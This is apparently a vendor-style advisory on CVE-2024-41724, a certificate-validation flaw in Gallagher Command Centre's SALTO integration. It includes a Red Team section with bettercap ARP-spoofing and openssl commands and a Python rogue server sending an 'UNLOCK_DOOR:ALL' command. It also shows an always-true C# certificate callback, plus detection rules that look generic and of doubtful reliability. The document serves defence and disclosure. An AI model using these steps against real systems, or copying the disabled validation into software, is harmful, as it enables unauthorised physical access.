CVE-2024-41724

Executive Summary

CVE-2024-41724 is a critical vulnerability in the Gallagher Command Centre SALTO integration, stemming from improper certificate validation (CWE-295). This flaw allows an unauthenticated attacker to spoof the SALTO server, potentially leading to unauthorized access, data manipulation, and compromise of physical access control systems. The vulnerability affects all versions prior to 9.20.1043 and carries a CVSS score of 8.7, indicating high severity. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is currently 0.0%, suggesting low exploitation activity in the wild. However, given the nature of the vulnerability and the criticality of physical security systems, immediate patching is strongly recommended.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby) but rather to a proprietary physical access control system (PACS) integration. The supply chain risk is limited to the Gallagher Command Centre software and its SALTO integration module.

CVSS Breakdown & Threat Level

• CVSS Score: 8.7 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality, integrity, and availability. An attacker can fully compromise the SALTO integration, potentially unlocking doors, disabling alarms, or exfiltrating access logs.

Deep Dive & Mechanics

The vulnerability lies in the certificate validation logic within the Gallagher Command Centre SALTO integration. When the Command Centre establishes a connection to the SALTO server, it fails to properly validate the server's TLS certificate. This allows an attacker who can intercept network traffic (e.g., via ARP spoofing, DNS poisoning, or rogue access point) to present a forged certificate and impersonate the legitimate SALTO server.

Attack Flow:

1. Reconnaissance: The attacker identifies the network segment where the Gallagher Command Centre communicates with the SALTO server.
2. Interception: Using a man-in-the-middle (MITM) technique, the attacker positions themselves between the Command Centre and the SALTO server.
3. Spoofing: The attacker presents a self-signed or otherwise invalid TLS certificate to the Command Centre.
4. Exploitation: Due to improper certificate validation, the Command Centre accepts the forged certificate and establishes a connection with the attacker-controlled server.
5. Impact: The attacker can now send arbitrary commands to the Command Centre, potentially unlocking doors, modifying access rights, or exfiltrating sensitive data.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the TLS handshake routine of the SALTO integration module. A simplified example:

Vulnerable Code (C#):

// Insecure: No certificate validation
ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => true;

Patched Code (C#):

// Secure: Validate certificate against trusted root CA
ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => {
    if (sslPolicyErrors == SslPolicyErrors.None)
        return true;
    // Additional checks: hostname match, chain validation, etc.
    return false;
};

The patch ensures that the certificate is validated against a trusted certificate authority (CA) and that the hostname matches the expected SALTO server.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to the Gallagher Command Centre and SALTO server communication path.
• Ability to perform MITM (e.g., ARP spoofing, rogue DHCP, or physical access to network infrastructure).

Tools:

• bettercap or ettercap for MITM.
• openssl to generate a self-signed certificate.
• Custom Python script to impersonate the SALTO server.

Steps:

1. Set up MITM:

   sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"
   

2. Generate a self-signed certificate:

   openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=SALTO-Server"
   

3. Run a rogue SALTO server:

   import socket
   import ssl
   
   context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
   context.load_cert_chain('cert.pem', 'key.pem')
   
   with socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) as sock:
       sock.bind(('0.0.0.0', 443))
       sock.listen(5)
       with context.wrap_socket(sock, server_side=True) as ssock:
           conn, addr = ssock.accept()
           print(f"Connection from {addr}")
           # Send malicious commands
           conn.send(b"UNLOCK_DOOR:ALL")
   

4. Trigger the connection: Wait for the Gallagher Command Centre to initiate a connection to the SALTO server (e.g., during a scheduled sync).

Blue Team

Detection:

• Monitor for unexpected TLS certificates in network traffic.
• Alert on connections to unknown or untrusted IP addresses on port 443 (or the SALTO port).
• Use network intrusion detection systems (NIDS) to detect MITM attacks (e.g., ARP spoofing).

Hunting:

• Search for logs indicating failed certificate validation attempts (if any logging exists).
• Review network flows for unusual patterns between the Command Centre and SALTO server.

Response:

• Immediately isolate the affected Command Centre server.
• Verify the integrity of the SALTO server certificate.
• Apply the patch (upgrade to version 9.20.1043 or later).

Indicators of Compromise (IOCs)

• Network:
  • Unexpected TLS certificates presented to the Gallagher Command Centre.
  • Connections to IP addresses not associated with the legitimate SALTO server.
  • ARP spoofing indicators (e.g., duplicate IP addresses in ARP tables).
• Host:
  • Unusual processes running on the Command Centre server (e.g., rogue Python scripts).
  • Modified system files related to certificate validation.
• Logs:
  • Event logs showing successful connections to untrusted hosts.
  • Security logs with certificate validation errors (if enabled).

Detection Engineering

YARA Rule

rule CVE_2024_41724_Gallagher_SALTO_Cert_Validation {
    meta:
        description = "Detects potential exploitation of CVE-2024-41724 by identifying insecure certificate validation patterns"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-41724"
    strings:
        $s1 = "ServerCertificateValidationCallback" ascii wide nocase
        $s2 = "return true" ascii wide nocase
        $s3 = "ServicePointManager" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2024-41724 - Gallagher Command Centre SALTO Certificate Validation Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network connections to untrusted hosts on the SALTO integration port
author: Valters IT
date: 2024-01-01
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 443
        DestinationIp|startswith: '192.168.'  # Adjust to your network
        Initiated: true
    condition: selection
falsepositives:
    - Legitimate connections to the SALTO server
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2024-41724 - Potential SALTO Server Spoofing"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; within:1; reference:cve,2024-41724; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Gallagher Command Centre to version 9.20.1043 or later.
2. Network Segmentation: Isolate the Command Centre and SALTO server on a dedicated VLAN with strict firewall rules.
3. Certificate Pinning: Implement certificate pinning in the integration to prevent acceptance of untrusted certificates.
4. Monitoring: Enable logging for all TLS connections and certificate validation events.
5. Incident Response: If exploitation is suspected, conduct a forensic analysis of the Command Centre and SALTO server logs.

Valters IT
Securing Your Digital Frontier